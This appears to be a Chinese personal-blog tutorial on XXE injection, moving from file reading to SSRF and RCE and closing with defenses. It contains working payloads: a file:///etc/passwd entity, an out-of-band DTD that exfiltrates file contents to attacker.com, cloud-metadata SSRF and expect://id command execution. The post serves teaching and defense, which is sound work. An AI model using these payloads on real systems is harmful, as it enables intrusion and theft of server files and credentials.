XXE 漏洞深度解析:从文件读取到 SSRF 与 RCE 的完整利用链

一、XXE 漏洞概述

XXE(XML External Entity Injection,XML 外部实体注入)是一种针对解析 XML 输入的应用程序的安全漏洞。当应用程序允许引用外部实体且未对其加以限制时,攻击者便可通过构造恶意 XML 文档,读取服务器本地文件、发起内网探测,甚至在特定条件下实现远程命令执行。

XXE 漏洞长期位居 OWASP Top 10 榜单之中,尽管现代开发框架已默认关闭外部实体解析,但在大量遗留系统、企业级中间件以及文件解析接口中,XXE 仍然是一个高频且危害极大的攻击面。

二、XML 实体与 DTD 基础

要理解 XXE,必须先掌握 XML 实体与 DTD 的基本概念。

2.1 内部实体

DTD(Document Type Definition)允许在文档内部定义实体,用于文本替换:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY name "hello">
]>
<root>&name;</root>

上述 XML 解析后,&name; 会被替换为 hello

2.2 外部实体

外部实体通过 SYSTEMPUBLIC 关键字引用外部资源:

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

当解析器处理该文档时,会将 /etc/passwd 的内容加载并替换到 &xxe; 位置。如果应用程序将解析结果回显给用户,攻击者便可直接读取文件内容——这就是最经典的 XXE 文件读取。

三、从文件读取到 SSRF

3.1 任意文件读取

利用 file:// 协议,攻击者可以读取服务器上的任意文件:

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

除了 /etc/passwd,攻击者还可能读取配置文件、密钥文件、源码等敏感信息。在 Java 环境中,还可以结合 jar://netdoc:// 协议读取更多资源。

3.2 盲注 XXE

当应用程序不直接回显解析结果时,可以使用带外(OOB)技术。攻击者构造外部实体指向自己的服务器,通过 DNS 或 HTTP 请求将数据外带:

<!DOCTYPE root [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<root>&send;</root>

其中 evil.dtd 内容为:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

这样,文件内容会作为 URL 参数发送到攻击者服务器。

3.3 SSRF 攻击

将外部实体指向内网地址,即可实现 SSRF:

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "http://192.168.1.1:8080/admin">
]>
<root>&xxe;</root>

攻击者可以利用 XXE 探测内网服务、访问云元数据接口(如 http://169.254.169.254/latest/meta-data/),甚至结合 Redis、Memcached 等内网服务进行进一步利用。

四、从 SSRF 到 RCE

XXE 本身并不直接执行命令,但在特定环境下,可以借助协议处理器或内网服务实现 RCE。

4.1 PHP expect 扩展

如果 PHP 环境安装了 expect 扩展,攻击者可以直接执行命令:

<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>

4.2 Java 环境下的利用

在 Java 中,如果应用使用了支持 jar:// 协议的解析器,攻击者可以结合 jar://ftp:// 实现远程类加载,进而触发反序列化或代码执行。此外,通过 SSRF 攻击内网中的 Jenkins、FastCGI 等服务,也可以间接实现 RCE。

4.3 结合内网服务

例如,通过 XXE SSRF 访问内网 Redis 的未授权接口,写入 SSH 公钥或计划任务,最终获得服务器权限。虽然这一链条依赖于内网环境的具体配置,但在真实渗透中屡见不鲜。

五、防御措施

5.1 禁用外部实体

最根本的防御方式是禁用 DTD 和外部实体。以 Java 为例:

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

5.2 使用安全的解析库

优先使用不解析外部实体的 JSON 替代 XML,或使用经过安全配置的 XML 解析库。Python 中可使用 defusedxml,PHP 中应避免使用 libxml_disable_entity_loader 已废弃的方案,转而使用 LIBXML_NONET 等选项。

5.3 输入验证与白名单

对用户提交的 XML 内容进行严格校验,拒绝包含 <!DOCTYPE<!ENTITY 等敏感声明的输入。

5.4 网络层隔离

限制服务器对外发起网络请求的能力,禁止访问内网地址和云元数据接口,降低 SSRF 的影响面。

六、总结

XXE 漏洞的危害远不止于文件读取。从任意文件读取到 SSRF 内网探测,再到结合特定环境实现 RCE,XXE 构成了一条完整的攻击链。其核心在于 XML 解析器对外部实体的信任——一旦攻击者能够控制 XML 输入,且解析器未禁用外部实体,整个链条便可能被逐级触发。

对于开发者而言,理解 XXE 的利用方式与防御策略,是构建安全 XML 处理逻辑的前提。对于安全从业者,掌握从文件读取到 RCE 的完整利用思路,有助于在渗透测试中更全面地评估目标风险。无论站在哪一方,XXE 都值得被认真对待。

未经允许不得转载:任鹏个人博客 » XXE 漏洞深度解析:从文件读取到 SSRF 与 RCE 的完整利用链

赞 (0) 打赏

评论 0

取消
  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏